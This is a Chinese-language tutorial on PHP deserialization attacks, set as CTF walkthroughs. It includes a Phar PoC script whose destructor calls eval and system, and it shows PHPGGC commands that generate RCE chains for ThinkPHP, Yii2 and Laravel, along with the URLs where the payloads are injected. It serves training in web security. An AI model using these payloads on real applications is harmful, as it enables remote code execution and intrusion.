知识点:
1、PHP-反序列化-Phar反序列化
2、PHP-反序列化-框架反序列化链生成项目
3、PHP-反序列化-框架反序列化利用
一、演示案例-WEB攻防-PHP反序列化-Phar反序列化
解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

原理:PHP文件系统函数在通过伪协议解析phar文件时,都会将 meta-data进行反序列化操作,受影响的函数如上图;所以当这些函数接收到伪协议处理到 phar 文件的时候,Meta-data 里的序列化字符串就会被反序列化,实现不使用unserialize()函数实现反序列化操作。
利用条件
1.phar文件(任意后缀都可以)能上传至服务器。
2.存在受影响函数,存在可以利用的魔术方法。
1、Demo

生成Phar文件
生成Phar文件需要注意:
php.ini中将Phar.readonly设置为off




2、[HNCTF 2022 WEEK3]ez_phar

POP链生成phar文件
<?php
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$a=new Flag();
$a->code="system('cat /ffflllaaaggg');";
$phar = new Phar("exp6.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

upload.php上传文件引用访问触发





3、白盒代码审计案例
https://mp.weixin.qq.com/s/2wzaXIpJgYSNnkJgRNUSEg
https://mp.weixin.qq.com/s/Z24A3LYn6P3276v7GqPw4w
二、演示案例-WEB攻防-PHP反序列化-框架反序列化链生成项目
框架类的反序列化及对应POP链编写是非常复杂的。比CTF那种原生态反序列化源码难很多很多。
利用场景:
当知道目标使用了某个框架及对应版本并且这个框架版本曝过反序列漏洞,那么就可以尝试利用该项目去生成反序列链。
1、NotSoSecure(综合类) 网页版
项目地址:https://github.com/NotSoSecure/SerializedPayloadGenerator
为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC //这个用不了
Python - 原生
如何搭建














如果还不行



2、PHPGGC(PHP框架单项类) 命令版本
项目地址:https://github.com/ambionics/phpggc
只有linux版本,可以放本地kali上运行。
PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。
三、演示案例-WEB攻防-PHP反序列化-框架反序列化利用
1、[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化-PHPGGC





./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

http://d67438dd-6483-4c05-bc40-1095050b015a.node4.buuoj.cn:81///public/?payload=


2、CTFSHOW 反序列化 267 Yii2反序列化-PHPGGC
弱口令admin/admin登录后源码提示泄漏

GET:index.php?r=site%2Fabout&view-source



./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64

GET:/index.php?r=backdoor/shell&code=


3、CTFSHOW 反序列化 271 Laravel反序列化-PHPGGC


但是代码中并没有发现Laravel具体版本,没办法就只能一个一个试呗。

./phpggc Laravel/RCE2 system "id" --url

